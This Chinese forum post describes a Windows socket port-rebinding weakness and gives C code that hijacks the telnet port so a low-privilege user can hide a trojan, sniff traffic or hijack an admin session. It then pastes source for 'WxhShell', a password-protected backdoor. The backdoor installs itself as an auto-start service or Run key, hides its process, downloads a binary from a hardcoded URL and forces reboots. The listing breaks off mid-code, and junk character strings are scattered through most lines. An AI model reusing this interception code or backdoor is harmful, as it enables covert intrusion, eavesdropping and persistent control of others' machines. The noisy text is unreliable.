社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 14103阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: =E!Y f#p+q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ! N!pvK;  
r: >RH,  
  saddr.sin_family = AF_INET; mqsAYzG  
^[bFGKE  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); -O1$jBQ S  
!"RRw&0M  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); [742s]j  
9I<~t@q5e@  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2v@B7r4}  
] `q]n  
  这意味着什么?意味着可以进行如下的攻击: kMLJa=]$  
w 2U302TZ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 n`w]?bL  
Pe\Obd8d  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 2T?Y  
T fIOS]  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [Pjitw/?  
v#s*I/kw  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  z6B#F<h  
W)T'?b'.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 b]xoXC6@t  
KkpbZ7\@  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 >O rIY  
(@!K tW  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 d@a<Eq  
}f}?|&q  
  #include [kxOv7a  
  #include d8 Jf3Mo  
  #include f2M*]{N  
  #include    *2vp2xMA@  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ~G=E Q]a  
  int main() v)gMNzt  
  { 6=,zkU*i ^  
  WORD wVersionRequested; -$g~,dIwj  
  DWORD ret; #6D>e~>n  
  WSADATA wsaData; 9v-Y*\!w.  
  BOOL val; /~;!Ew|q  
  SOCKADDR_IN saddr; kkb+qo  
  SOCKADDR_IN scaddr; J}8p}8eF,  
  int err; !||Gfia  
  SOCKET s; Dic|n@_Fy  
  SOCKET sc; {dRZ2U3  
  int caddsize; 6`7bk35B  
  HANDLE mt; ]63! Wc  
  DWORD tid;   IDos4nM27]  
  wVersionRequested = MAKEWORD( 2, 2 ); $$o(  
  err = WSAStartup( wVersionRequested, &wsaData ); oq$#wiV"Q  
  if ( err != 0 ) { 2.MUQ;OX  
  printf("error!WSAStartup failed!\n"); sSGXd=":  
  return -1; x6!Q''f7  
  } A:Gd F-;[  
  saddr.sin_family = AF_INET; 9c,/490Q  
   z6d0Y$A G  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %3t;[$n#  
xHaz*w1|  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /2/aMF(J  
  saddr.sin_port = htons(23); 5=#d#dDc  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) emrA!<w!W  
  { p-EU"O  
  printf("error!socket failed!\n"); m||9,z-  
  return -1; %+|sbRBb  
  } QE)zH)(  
  val = TRUE; I''n1v?N  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 3)?WSOsL :  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) | V{ Q  
  { vp!F6ZwO  
  printf("error!setsockopt failed!\n"); +'olC^?5 }  
  return -1; )YAU|sCAi$  
  } h2Th)&Fb>  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &^HVuYa.0  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 0pEM0M  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 (&v|,.c^)1  
ly6zz|c5  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) F |5Au>t  
  { oCI\yp@a  
  ret=GetLastError(); ,5}w]6bCr  
  printf("error!bind failed!\n"); |Z2"pV  
  return -1; #Cu$y8~as  
  } q%$p56\?3  
  listen(s,2); >C6S2ISSz  
  while(1) hqjjd-S0  
  { )b2O!p  
  caddsize = sizeof(scaddr); tAJ}36 aG  
  //接受连接请求 q<z8P;oP^  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~re}6-?  
  if(sc!=INVALID_SOCKET) |_8l9rB5ip  
  { <1>6!`b4  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 9"gu>  
  if(mt==NULL) m0v .[61  
  { M | "'`zc  
  printf("Thread Creat Failed!\n"); Y(kf<Wo  
  break; > .K%W *t  
  } P\6:euI  
  } a9{NAyl<oo  
  CloseHandle(mt); V!^0E.?a  
  } ."B{U_P&  
  closesocket(s); SN L-6]j  
  WSACleanup(); 2; ,8 u  
  return 0; &}2@pu[S?7  
  }   >,3uu}s  
  DWORD WINAPI ClientThread(LPVOID lpParam) to&,d`k=-  
  { o}/|"(K  
  SOCKET ss = (SOCKET)lpParam; Ma$~B0!;s  
  SOCKET sc; l*&N<Yu  
  unsigned char buf[4096]; "qR, V9\  
  SOCKADDR_IN saddr; S!z3$@o  
  long num; J+ S]Qoz  
  DWORD val; rQ]JM  
  DWORD ret; F4z#u2~TC  
  //如果是隐藏端口应用的话,可以在此处加一些判断 QQV8Vlv"  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   w"dKOdY  
  saddr.sin_family = AF_INET; ~ *"iLf@,  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); vWeY[>oGur  
  saddr.sin_port = htons(23); ?H@<8Ra=3  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s9nPxC&A  
  { `t)9u^[<(  
  printf("error!socket failed!\n"); KT<$E!@  
  return -1; 9oO~UP!ag  
  } C<(oaeQY  
  val = 100; \'Et)uD*  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wW)(mY?   
  { +M_ _\7  
  ret = GetLastError(); sw$uZ$$~#  
  return -1; L{8_6s(:  
  } LOfw #+]d  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Rky]F+J  
  { V8B4e4F  
  ret = GetLastError(); d *gv.mE  
  return -1; <n#X~}i)  
  } >J S^yVk  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) -XV+F@`Md  
  { <YU4RZ  
  printf("error!socket connect failed!\n"); YkB@fTTS  
  closesocket(sc); 1eshuL  
  closesocket(ss); *. |%uf.  
  return -1; t$Rc 0  
  } BPt? 3tC  
  while(1) 1Pw1TO"Z  
  { *w*>\ZhOm  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 -XCs?@8EQ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 >Q=^X3to  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9.M'FCd~M  
  num = recv(ss,buf,4096,0); R3|4|JlGR  
  if(num>0) \#dacQ2E@  
  send(sc,buf,num,0); N\|z{vn  
  else if(num==0) ] T]{VB  
  break; *OFG3uM  
  num = recv(sc,buf,4096,0); &U|c=$!\  
  if(num>0) !vRZh('R  
  send(ss,buf,num,0); &*+$38XE^  
  else if(num==0) f ?k0(rl  
  break; 2y^:T'p  
  } -2J37   
  closesocket(ss); ztSQrDbbb4  
  closesocket(sc); (M$>*O3SR  
  return 0 ; c6 mS  
  } ^OWG9`p+  
h`1<+1J9  
|R@T`dW  
========================================================== U[?_|=~7  
T pF [-fO  
下边附上一个代码,,WXhSHELL DWKQ>X6  
MU a[}?  
========================================================== QE[<Y3M  
.aY $-Y<  
#include "stdafx.h" <Jhd%O  
c5WMN.z  
#include <stdio.h> }5oI` 9VT  
#include <string.h> Uz!3){E  
#include <windows.h> 0@cIj ]  
#include <winsock2.h> pIcg+~  
#include <winsvc.h> lRg?||1ik  
#include <urlmon.h> H2R3I<j  
.UL 2(0  
#pragma comment (lib, "Ws2_32.lib") >iOf3I-ATt  
#pragma comment (lib, "urlmon.lib") z6E =%-`  
A3_p*n@  
#define MAX_USER   100 // 最大客户端连接数 Bgc]t  
#define BUF_SOCK   200 // sock buffer <F0^+Pf/  
#define KEY_BUFF   255 // 输入 buffer >;c);|'}q  
[q[37;ZEQ  
#define REBOOT     0   // 重启 g_syGQ\  
#define SHUTDOWN   1   // 关机 ={P`Tve  
BK%B[f*[OA  
#define DEF_PORT   5000 // 监听端口 Dbn344s  
ye$_=KARP  
#define REG_LEN     16   // 注册表键长度 -\?-  
#define SVC_LEN     80   // NT服务名长度 xWzybuLp  
fIQ, }>  
// 从dll定义API 66eJp-5e8  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .@OQ$ D<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Pa3-0dUr  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !9/`PcNIpy  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); pPRX#3  
+8//mrL_/  
// wxhshell配置信息 #4$YQ  
struct WSCFG { -GPBX?  
  int ws_port;         // 监听端口 iG6]Pr|;e  
  char ws_passstr[REG_LEN]; // 口令 >t cEx(  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;Y*K!iFWH  
  char ws_regname[REG_LEN]; // 注册表键名 3qe`#j  
  char ws_svcname[REG_LEN]; // 服务名 ^w1+b;)  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \]Ah=`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 S^p b9~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 o1(;"5MM  
int ws_downexe;       // 下载执行标记, 1=yes 0=no C][hH?.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" bOr11?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )9yQ C  
6J,h}S  
}; a pa&'%7  
iLSUz j`  
// default Wxhshell configuration <7J3tn B  
struct WSCFG wscfg={DEF_PORT, JL87a^ro  
    "xuhuanlingzhe", WkA47+DsV  
    1, (t@)`N{  
    "Wxhshell", h76j|1gI  
    "Wxhshell", 9t\14tVwx  
            "WxhShell Service", *% ;A85V/  
    "Wrsky Windows CmdShell Service", Cb{D[  
    "Please Input Your Password: ", m6e(Xk,)  
  1, L!Y|`P#Yr  
  "http://www.wrsky.com/wxhshell.exe", Ln,<|,fZN  
  "Wxhshell.exe" X^eyrqv  
    }; Ljz)%y[s  
2v ~8fr4  
// 消息定义模块 PkDt-]G.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 'W_NRt:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; nb/q!8  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; %;QK5L   
char *msg_ws_ext="\n\rExit."; Hl8-q!  
char *msg_ws_end="\n\rQuit."; hTLf$_|P  
char *msg_ws_boot="\n\rReboot..."; yg}O9!MJ  
char *msg_ws_poff="\n\rShutdown..."; ct-Bq  
char *msg_ws_down="\n\rSave to "; s|<n7 =J  
Q;3`T7  
char *msg_ws_err="\n\rErr!"; )m7%cyfC  
char *msg_ws_ok="\n\rOK!"; x!GDS>  
o!UB x<4  
char ExeFile[MAX_PATH]; /(s |'"6  
int nUser = 0; 2: gh q  
HANDLE handles[MAX_USER]; -"nkC  
int OsIsNt;  mU4(MjP?  
c.]QIIdK  
SERVICE_STATUS       serviceStatus; A2ye ^<-C.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; BGibBF^  
ck] I?  
// 函数声明 7/<~s]D[%  
int Install(void); TzaeE  
int Uninstall(void); e#HPU  
int DownloadFile(char *sURL, SOCKET wsh); =A6*;T"W  
int Boot(int flag); A_@..hX(  
void HideProc(void); ?Sh]kJ O  
int GetOsVer(void); /W,hOv  
int Wxhshell(SOCKET wsl); _WWC8?6 U  
void TalkWithClient(void *cs); 3:jxr  
int CmdShell(SOCKET sock); jnp~ACN,  
int StartFromService(void); 3\m !  
int StartWxhshell(LPSTR lpCmdLine); A` _dj}UF  
6t;;Fz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q("XS  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $5G(_   
Iz+%wAZ|B6  
// 数据结构和表定义 O/#3QK  
SERVICE_TABLE_ENTRY DispatchTable[] = _=I1  
{ 'hr_g* i  
{wscfg.ws_svcname, NTServiceMain}, M%ecWr!tj  
{NULL, NULL} !8UIyw  
}; +C!GV.q[  
:(US um  
// 自我安装 WZ ?>F  
int Install(void) }TMO>eB'  
{ N@PwC(   
  char svExeFile[MAX_PATH]; p}pRf@(`\  
  HKEY key; .S,E=  
  strcpy(svExeFile,ExeFile); ,4"N7_!7  
^?Xs!kJP  
// 如果是win9x系统,修改注册表设为自启动 bxh-#x &  
if(!OsIsNt) { Z OPK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I=&i &6v8G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H3$py|}lL  
  RegCloseKey(key); A!!!7tj  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { xT&~{,9  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .\$A7DD+A  
  RegCloseKey(key); O1o>eDE5A  
  return 0; Zm*d)</>  
    } CJN~p]\  
  } bh5D}w  
} =|AYT6z,  
else { }d}sC\>U  
%N&.B  
// 如果是NT以上系统,安装为系统服务 [#Apd1S_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,TWlg  
if (schSCManager!=0) 5T.U=_ag  
{ $#f_p-N  
  SC_HANDLE schService = CreateService !o`7$`%Wz\  
  ( (^iF)z  
  schSCManager, [r"Oi| 8I  
  wscfg.ws_svcname, RP{0+  
  wscfg.ws_svcdisp, c?CfM>  
  SERVICE_ALL_ACCESS, P x Q]$w  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c6i7f:'-0  
  SERVICE_AUTO_START, v*Gd=\88  
  SERVICE_ERROR_NORMAL, {K+f& 75  
  svExeFile, %]7 6u7b/  
  NULL, 0#TL$?=|  
  NULL, rtAPkXJFM  
  NULL, f$:Y'$Z1  
  NULL, lv/im/]v  
  NULL l9uocP:D  
  ); 3 orZBT  
  if (schService!=0) I]d-WTd  
  { w.58=Pr  
  CloseServiceHandle(schService); u3qx G3  
  CloseServiceHandle(schSCManager); ;8PO}{rD  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,*W~M&n"m  
  strcat(svExeFile,wscfg.ws_svcname); ,&@GxiU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ?l%4 P5  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &G_#=t&  
  RegCloseKey(key); o#6QwbU25  
  return 0; |HT7m5tu4  
    } QB X EM=  
  } m2^vH+wD  
  CloseServiceHandle(schSCManager); h=`$ec  
} kP$ E+L  
} ',g%L_8Sq  
o3+s.7 "  
return 1; pnSKIn  
} ZMlBd}H  
Ojz'p5d`>  
// 自我卸载 3m75mny  
int Uninstall(void) Nzgi)xX0HX  
{ v\|jkzR5Y  
  HKEY key; `w#VYs|k  
TO89;O  
if(!OsIsNt) { \{ | GK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (U# ,;  
  RegDeleteValue(key,wscfg.ws_regname); G@Z%[YNw  
  RegCloseKey(key); KF#^MEw%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wi+Q lf  
  RegDeleteValue(key,wscfg.ws_regname); y}oA!<#3  
  RegCloseKey(key); g]Y%c73  
  return 0; k%gj  
  } TaSS) n  
} OWrQKd  
} 4GI3|{  
else { F% a&|X  
D"aK;_W@h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Htr]_<@  
if (schSCManager!=0) ,gZp/yJ;  
{ }Fu1Y@M%  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uMva5o  
  if (schService!=0) ] / Nt  
  { v@Eb[7Kq/1  
  if(DeleteService(schService)!=0) { 6M&ajl`o  
  CloseServiceHandle(schService); PEEaNOk 1b  
  CloseServiceHandle(schSCManager); \5&Mg81  
  return 0; ` Ny(S2  
  } #*pB"L  
  CloseServiceHandle(schService); 'kj q C  
  } nG3SDL#(k  
  CloseServiceHandle(schSCManager); n\D/WLvM  
} `XE>Td>Bs  
} \Y"S4<"R  
0 cKsGDm  
return 1; 2;T?ry7  
} WqefH{PB  
+o4o!;E)  
// 从指定url下载文件 Wjq9f;  
int DownloadFile(char *sURL, SOCKET wsh) ]Xa]a}[uE  
{ LE{@J0r#n  
  HRESULT hr; Sak^J.~G[  
char seps[]= "/"; |MKR&%Na  
char *token; _Jg#T~  
char *file; {sB-"NR`K  
char myURL[MAX_PATH]; FJH>P\+  
char myFILE[MAX_PATH]; \EU3i;BNT%  
][l5S*CC_  
strcpy(myURL,sURL); 1 Q FsT  
  token=strtok(myURL,seps); 'Up75eT  
  while(token!=NULL) RQWUO^&e^  
  { O,),0zcYF  
    file=token; MOB4t|  
  token=strtok(NULL,seps); _ZavY<6  
  } !I1p`_(_7  
=7TWzUCO#  
GetCurrentDirectory(MAX_PATH,myFILE); T rh t2Iv  
strcat(myFILE, "\\"); b+:mV7eX  
strcat(myFILE, file); V<|N}8{Z2a  
  send(wsh,myFILE,strlen(myFILE),0); pSC{0Y$g  
send(wsh,"...",3,0); ~rO&Y{aG#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r6\g #}  
  if(hr==S_OK) DZL(G [  
return 0; i 7T#WfF  
else [dLc+h1{B  
return 1; `:Wyw<^  
!NNPg?Y  
} z =H?@z  
`f}ZAX  
// 系统电源模块 !-T#dU  
int Boot(int flag) 037\LPO  
{ 4w%hvJ  
  HANDLE hToken; Bn 8&~  
  TOKEN_PRIVILEGES tkp; !lzj.|7=1  
"24d:vf\  
  if(OsIsNt) { 6 [XaIco=C  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); {BM:c$3@j  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9Oj b~  
    tkp.PrivilegeCount = 1; ,9 ^ 5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [wSoZBl  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); U7fpaxc-  
if(flag==REBOOT) { YhglL!p C  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) l2W+VBn6  
  return 0; VJK4C8]  
} GB `n  
else { } -4p8Zt  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) z|AknEE,  
  return 0; &/uakkS  
} "Vc|D (g  
  } bZWR. </  
  else { YdvXp/P:|  
if(flag==REBOOT) { X)]>E]X  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !V#*(_+n  
  return 0; p=[dt  
} 7Y~5gn  
else { u* iqwm.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) b*| ?7  
  return 0; |1ry*~  
} (*eX'^Q)d  
} rA<J^dX=C  
:FSg%IUX  
return 1; 4V@0L  
} !#]kzS0  
EX<1hAw  
// win9x进程隐藏模块 o>]w76A^(  
void HideProc(void)  ]igCV  
{ "e\73?P  
O+XQP!T  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); oKSW:A  
  if ( hKernel != NULL ) #F .8x@  
  { < :eKXH2  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); PTpCiiA@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $aXYtHI  
    FreeLibrary(hKernel); A+Je?3/.  
  } ocW`sE?EED  
9|>y[i  
return; 3H"F~_H  
} p(4Ek"  
G@ybx[_[@  
// 获取操作系统版本 +A,cdi9z  
int GetOsVer(void) z&GGa`T"  
{ mNe908Yw  
  OSVERSIONINFO winfo; BI#(L={5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?b^<Tny  
  GetVersionEx(&winfo); 2 (ux  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )CL/%I,^  
  return 1; Q4ii25]*  
  else IP !zg|c,  
  return 0; IMSm  
} QKz2ONV=)  
Q(8W5Fb?  
// 客户端句柄模块 c$A}mL_  
int Wxhshell(SOCKET wsl) e!i.u'z  
{ =|-xj h  
  SOCKET wsh; F+xMXBD@>*  
  struct sockaddr_in client; bg4VHT7?>)  
  DWORD myID; #2.C$  
N/^[c+J  
  while(nUser<MAX_USER) l%2B4d9"v  
{ 1 d.>?^uE  
  int nSize=sizeof(client); wL0"1Ya  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); kgmb<4p  
  if(wsh==INVALID_SOCKET) return 1; =g@hh)3wP  
@iz S_I,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ";0-9*I  
if(handles[nUser]==0) &E k\  
  closesocket(wsh); wAb_fU&*  
else y7*^H  
  nUser++; BYS>"  
  } 9*|An  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @qJv  
)^^}!U#|e  
  return 0; ~>$(5 s2  
} 10/3-)+  
!q PUQ+  
// 关闭 socket J _|>rfW  
void CloseIt(SOCKET wsh) wVs|mG"  
{ VKrKA71Z~  
closesocket(wsh); Z3T26Uk  
nUser--; 7xT<|3 I  
ExitThread(0); p@znmn-  
} ^h|'\-d\  
n_] OYG>U  
// 客户端请求句柄 |om3*]7  
void TalkWithClient(void *cs) ~Uz|sQ*G  
{ :TWHmxch  
}S&SL)  
  SOCKET wsh=(SOCKET)cs; L/cbq*L  
  char pwd[SVC_LEN]; %^ E>~  
  char cmd[KEY_BUFF]; -3b0;L&4>x  
char chr[1]; lu.2ZQE  
int i,j; Ki@8  
Ix5yQgnB}j  
  while (nUser < MAX_USER) { 0MzHr2?'P  
3 ?/}  
if(wscfg.ws_passstr) { |y=D^NTG  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #$fFp  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *m]%eU(  
  //ZeroMemory(pwd,KEY_BUFF); Z=sAR(n}~  
      i=0; 55N/[{[  
  while(i<SVC_LEN) { ]R]X#jm  
')FNudsC  
  // 设置超时 PwNLJj+%  
  fd_set FdRead; q+G1#5  
  struct timeval TimeOut; vqxTf)ys  
  FD_ZERO(&FdRead); XJOo.Y  
  FD_SET(wsh,&FdRead); anV)$PT=  
  TimeOut.tv_sec=8; /ci.IT$Q^  
  TimeOut.tv_usec=0; g-(xuR^*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); G6Fg<g9:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 86} rz  
;j_#,Da9<  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); %F/tbXy{  
  pwd=chr[0]; x[oYN9O  
  if(chr[0]==0xd || chr[0]==0xa) { >"nk}@  
  pwd=0; j+ys&pDczm  
  break; Pr/&p0@aV  
  } CC87<>V  
  i++; nocH~bAf2  
    } !kKKJ~,;  
\1B*iW  
  // 如果是非法用户,关闭 socket SoY&R=  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); p9sxA|O=y  
} 4-n.4j|  
bKaV]Uy  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); SO&;]YO  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EX5kF  
D 7E^;W)H  
while(1) { |)_<JAN  
T<=\5mn  
  ZeroMemory(cmd,KEY_BUFF); p_(hM&>C  
5Np.&  
      // 自动支持客户端 telnet标准   XZT( :(  
  j=0; Wl2>U(lj  
  while(j<KEY_BUFF) { [E/3&3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Mo<p+*8u:  
  cmd[j]=chr[0]; p.IfJ|  
  if(chr[0]==0xa || chr[0]==0xd) { jH G(d$h  
  cmd[j]=0; aH#|LrdJ  
  break; nBj7Q!lW  
  } 5LK>n-  
  j++; ]- `{kX  
    } =f p(hX"  
tw')2UGg  
  // 下载文件 DpR%s",Q  
  if(strstr(cmd,"http://")) { i! nl%%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); eK@Y] !lz  
  if(DownloadFile(cmd,wsh)) p5'\< gQ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); u60l-  
  else %~[F^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #WG(V%f]  
  } OWkK]O  
  else { {gn[ &\  
jHZ<G c  
    switch(cmd[0]) { E0PBdiD6hs  
  2gv(`NKYE  
  // 帮助 hv)($;  
  case '?': { & Gt9a-ne  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +Snjb0  
    break; :4Vt  
  } g<-cHF  
  // 安装 }A;Xd/,'r  
  case 'i': { 33 4*nQ  
    if(Install()) wDG4rN9x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KKzvoc?Bt  
    else RinRQd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); btE+.V  
    break; / u{r5`4  
    } M>#{~zr  
  // 卸载 >j?uI6Uw  
  case 'r': { G# C)]4[n  
    if(Uninstall()) hU{%x#8}lK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EKf4f^<  
    else k4P.}SJ?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V+q RDQ  
    break; Sq'z<}o  
    } P;/T`R=Vr"  
  // 显示 wxhshell 所在路径 '$VR_N\  
  case 'p': { hg~fFj3ST  
    char svExeFile[MAX_PATH]; Kna'5L5"  
    strcpy(svExeFile,"\n\r"); `xr%LsNn  
      strcat(svExeFile,ExeFile); +1%6-g4 "  
        send(wsh,svExeFile,strlen(svExeFile),0); 7$;$4.'  
    break; G!IQ<FuY  
    } U8mu<)  
  // 重启 pf_ /jR  
  case 'b': { 8FITcK^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); A0ToX) |C  
    if(Boot(REBOOT)) !ZZAI_N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SOL=3hfb^  
    else { >vU Hf`4T  
    closesocket(wsh); bW]+Og  
    ExitThread(0); +*q@=P,  
    } G dU W$.  
    break; %ab79RS]C  
    } jo*9QO  
  // 关机 -G 'lyH  
